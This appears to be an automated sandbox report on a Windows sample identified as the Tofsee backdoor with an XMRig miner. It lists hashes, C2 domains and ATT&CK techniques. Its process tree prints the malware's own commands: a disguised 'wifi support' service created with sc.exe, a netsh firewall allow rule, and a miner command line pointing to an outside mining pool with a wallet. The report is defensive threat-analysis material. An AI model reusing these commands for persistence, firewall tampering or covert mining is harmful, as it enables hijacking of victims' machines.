Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-04-2023 02:04

General

  • Target

    45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe

  • Size

    213KB

  • MD5

    bedb55ac5c140a2a596d9fcbd822e5a6

  • SHA1

    cbd6195cb310f5e29c199c01180a424340266b80

  • SHA256

    45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07

  • SHA512

    be312de3dbf98fc18fabc2970ef13c14d291ed528b502f7937b2efd4491b2df5075ae31f878085af67c679099ebebefa9ea38ef086b4d7c4292a93e5c841d798

  • SSDEEP

    3072:QLw69nh47SsG97WGBbZrV8O38yLTMaOGpID5++qI7iMP:Ah47fKL58qjvMaH/k7iM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe
    "C:\Users\Admin\AppData\Local\Temp\45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4552
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\sihobx\
      2⤵
        PID:1800
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ipwzocvf.exe" C:\Windows\SysWOW64\sihobx\
        2⤵
          PID:3416
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create sihobx binPath= "C:\Windows\SysWOW64\sihobx\ipwzocvf.exe /d\"C:\Users\Admin\AppData\Local\Temp\45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3252
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description sihobx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4000
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start sihobx
          2⤵
          • Launches sc.exe
          PID:2092
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3384
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4552 -s 1164
          2⤵
          • Program crash
          PID:2728
      • C:\Windows\SysWOW64\sihobx\ipwzocvf.exe
        C:\Windows\SysWOW64\sihobx\ipwzocvf.exe /d"C:\Users\Admin\AppData\Local\Temp\45b56889c1a9cc3a57cd8bce999914ae2199808ad38235dc53c3e9d041865a07.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3388
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5100
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2124
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3388 -s 576
          2⤵
          • Program crash
          PID:3124
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4552 -ip 4552
        1⤵
          PID:1696
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 3388 -ip 3388
          1⤵
            PID:1440

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ipwzocvf.exe
            Filesize

            13.3MB

            MD5

            08efd55446044308b8fefb78a095f567

            SHA1

            37ddf35babb637c4b8d06fef3aa97d33e836b99f

            SHA256

            128a3b0d4f023ff8502b6e36c067e89a8172aee56f4ce1e49612af06b088b9ed

            SHA512

            de9a6aff3f355f0712cb9c138fb21ca5e09b9cc26184a0f0949095fd09d89b0ff73157abe47fe5244979c67ba216441a2b355f734a5cacd58b5932ab285c8f30

          • C:\Windows\SysWOW64\sihobx\ipwzocvf.exe
            Filesize

            13.3MB

            MD5

            08efd55446044308b8fefb78a095f567

            SHA1

            37ddf35babb637c4b8d06fef3aa97d33e836b99f

            SHA256

            128a3b0d4f023ff8502b6e36c067e89a8172aee56f4ce1e49612af06b088b9ed

            SHA512

            de9a6aff3f355f0712cb9c138fb21ca5e09b9cc26184a0f0949095fd09d89b0ff73157abe47fe5244979c67ba216441a2b355f734a5cacd58b5932ab285c8f30

          • memory/2124-198-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2124-199-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2124-197-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2124-196-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2124-195-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2124-194-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2124-193-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2124-188-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/3388-143-0x0000000000400000-0x00000000004A2000-memory.dmp
            Filesize

            648KB

          • memory/4552-142-0x0000000000400000-0x00000000004A2000-memory.dmp
            Filesize

            648KB

          • memory/4552-135-0x0000000002200000-0x0000000002213000-memory.dmp
            Filesize

            76KB

          • memory/5100-167-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-173-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-161-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-163-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-160-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-162-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-165-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-164-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-166-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-156-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-168-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-170-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-171-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-169-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-172-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-159-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-174-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-175-0x0000000001940000-0x0000000001950000-memory.dmp
            Filesize

            64KB

          • memory/5100-176-0x00000000019D0000-0x00000000019D5000-memory.dmp
            Filesize

            20KB

          • memory/5100-179-0x00000000019D0000-0x00000000019D5000-memory.dmp
            Filesize

            20KB

          • memory/5100-180-0x0000000007180000-0x000000000758B000-memory.dmp
            Filesize

            4.0MB

          • memory/5100-183-0x0000000007180000-0x000000000758B000-memory.dmp
            Filesize

            4.0MB

          • memory/5100-184-0x00000000019E0000-0x00000000019E7000-memory.dmp
            Filesize

            28KB

          • memory/5100-153-0x0000000001930000-0x0000000001936000-memory.dmp
            Filesize

            24KB

          • memory/5100-152-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/5100-149-0x0000000002200000-0x000000000240F000-memory.dmp
            Filesize

            2.1MB

          • memory/5100-148-0x00000000003B0000-0x00000000003C5000-memory.dmp
            Filesize

            84KB

          • memory/5100-146-0x00000000003B0000-0x00000000003C5000-memory.dmp
            Filesize

            84KB

          • memory/5100-145-0x00000000003B0000-0x00000000003C5000-memory.dmp
            Filesize

            84KB

          • memory/5100-144-0x00000000003B0000-0x00000000003C5000-memory.dmp
            Filesize

            84KB

          • memory/5100-139-0x00000000003B0000-0x00000000003C5000-memory.dmp
            Filesize

            84KB